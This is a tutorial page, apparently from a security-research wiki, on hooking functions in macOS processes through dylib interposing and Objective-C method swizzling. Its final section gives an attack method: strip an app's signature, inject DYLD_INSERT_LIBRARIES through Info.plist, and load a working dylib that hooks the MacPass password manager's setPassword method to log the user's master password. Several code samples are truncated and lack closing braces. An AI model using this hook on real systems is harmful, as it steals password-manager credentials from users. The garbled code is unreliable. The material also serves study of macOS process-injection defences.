macOS Function Hooking

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Function Interposing

Create a dylib with an __interpose section (or a section flagged with S_INTERPOSING) containing tuples of function pointers that refer to the original and the replacement functions.

Then, inject the dylib with DYLD_INSERT_LIBRARIES (the interposing needs occur before the main app loads). Obviously the restrictions applied to the use of DYLD_INSERT_LIBRARIES applies here also.

Interpose printf

// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
    //va_list args;
    //va_start(args, format);
    //int ret = vprintf(format, args);

    int ret = printf("Hello from interpose\n");
    return ret;

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Method Swizzling

In ObjectiveC this is how a method is called like: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

It's needed the object, the method and the params. And when a method is called a msg is sent using the function objc_msgSend: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

The object is someObject, the method is @selector(method1p1:p2:) and the arguments are value1, value2.

Following the object structures, it's possible to reach an array of methods where the names and pointers to the method code are located.

Note that because methods and classes are accessed based on their names, this information is store in the binary, so it's possible to retrieve it with otool -ov </path/bin> or class-dump </path/bin>

Accessing the raw methods

It's possible to access the information of the methods such as name, number of params or address like in the following example:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
    // Get class of the variable
    NSString* str = @"This is an example";
    Class strClass = [str class];
    NSLog(@"str's Class name: %s", class_getName(strClass));

    // Get parent class of a class
    Class strSuper = class_getSuperclass(strClass); 
    NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

    // Get information about a method
    SEL sel = @selector(length);
    NSLog(@"Selector name: %@", NSStringFromSelector(sel));
    Method m = class_getInstanceMethod(strClass,sel);
    NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
    NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

    // Iterate through the class hierarchy
    NSLog(@"Listing methods:");
    Class currentClass = strClass;
    while (currentClass != NULL) {
        unsigned int inheritedMethodCount = 0;
        Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);
        NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);
        for (unsigned int i = 0; i < inheritedMethodCount; i++) {
            Method method = inheritedMethods[i];
            SEL selector = method_getName(method);
            const char* methodName = sel_getName(selector);
            unsigned long address = (unsigned long)method_getImplementation(m);
            NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
        // Free the memory allocated by class_copyMethodList
        currentClass = class_getSuperclass(currentClass);

    // Other ways to call uppercaseString method
    if([str respondsToSelector:@selector(uppercaseString)]) {
        NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
        NSLog(@"Uppercase string: %@", uppercaseString);

    // Using objc_msgSend directly
    NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
    NSLog(@"Uppercase string: %@", uppercaseString2);

    // Calling the address directly
    IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
    NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
    NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
    NSLog(@"Uppercase string: %@", uppercaseString3);

    return 0;

Method Swizzling with method_exchangeImplementations

The function method_exchangeImplementations allows to change the address of the implementation of one function for the other.

So when a function is called what is executed is the other one.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;


@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
    NSLog(@"Custom implementation of substringFromIndex:");
    // Call the original method
    return [self swizzledSubstringFromIndex:from];


int main(int argc, const char * argv[]) {
    // Perform method swizzling
    Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
    Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
    method_exchangeImplementations(originalMethod, swizzledMethod);

    // We changed the address of one method for the other
    // Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
    // And when swizzledSubstringFromIndex is called, substringFromIndex is really colled
    // Example usage
    NSString *myString = @"Hello, World!";
    NSString *subString = [myString substringFromIndex:7];
    NSLog(@"Substring: %@", subString);
    return 0;

In this case if the implementation code of the legit method verifies the method name it could detect this swizzling and prevent it from running.

The following technique doesn't have this restriction.

Method Swizzling with method_setImplementation

The previous format is weird because you are changing the implementation of 2 methods one from the other. Using the function method_setImplementation you can change the implementation of a method for the other one.

Just remember to store the address of the implementation of the original one if you are going to to call it from the new implementation before overwriting it because later it will be much complicated to locate that address.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;


@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
    NSLog(@"Custom implementation of substringFromIndex:");
    // Call the original implementation using objc_msgSendSuper
    return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);


int main(int argc, const char * argv[]) {
    @autoreleasepool {
        // Get the class of the target method
        Class stringClass = [NSString class];
        // Get the swizzled and original methods
        Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));
        // Get the function pointer to the swizzled method's implementation
        IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));
        // Swap the implementations
        // It return the now overwritten implementation of the original method to store it
        original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);
        // Example usage
        NSString *myString = @"Hello, World!";
        NSString *subString = [myString substringFromIndex:7];
        NSLog(@"Substring: %@", subString);
        // Set the original implementation back
        method_setImplementation(originalMethod, original_substringFromIndex);
        return 0;

Hooking Attack Methodology

In this page different ways to hook functions were discussed. However, they involved running code inside the process to attack.

In order to do that the easiest technique to use is to inject a Dyld via environment variables or hijacking. However, I guess this could also be done via Dylib process injection.

However, both options are limited to unprotected binaries/processes. Check each technique to learn more about the limitations.

However, a function hooking attack is very specific, an attacker will do this to steal sensitive information from inside a process (if not you would just do a process injection attack). And this sensitive information might be located in user downloaded Apps such as MacPass.

So the attacker vector would be to either find a vulnerability or strip the signature of the application, inject the DYLD_INSERT_LIBRARIES env variable through the Info.plist of the application adding something like:


and then re-register the application:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/

Add in that library the hooking code to exfiltrate the information: Passwords, messages...

Note that in newer versions of macOS if you strip the signature of the application binary and it was previously executed, macOS won't be executing the application anymore.

Library example

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
    // Function that will log the password and call the original setPassword(pass, file_path) method
    NSLog(@"[+] Password is: %@", password);
    // After logging the password call the original method so nothing breaks.
    return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);

// Library constructor to execute
static void customConstructor(int argc, const char **argv) {
    // Get the real method address to not lose it
    Class classMPDocument = NSClassFromString(@"MPDocument");
    Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));
    // Make the original method setPassword call the fake implementation one
    IMP fake_IMP = (IMP)custom_setPassword;
    real_setPassword = method_setImplementation(real_Method, fake_IMP);


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